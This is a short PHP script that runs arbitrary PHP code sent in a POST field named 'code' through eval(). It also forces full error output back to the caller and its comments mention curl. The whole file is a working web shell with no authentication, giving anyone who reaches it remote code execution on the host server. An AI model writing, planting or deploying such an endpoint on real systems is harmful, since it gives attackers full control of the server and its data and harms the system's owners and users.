<?php
// 1. Force PHP to display all syntax/runtime errors back to curl
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// 2. Read the code parameter from the POST body
if (isset($_POST['code'])) {
    $code_to_run = $_POST['code'];
    
    // 3. Execute the code (any 'echo' inside this will be captured)
    eval($code_to_run);
    
} else {
    // This message goes back to the terminal if 'code' is missing
    echo "Error: No code found in the POST body under the 'code' key.\n";
}
?>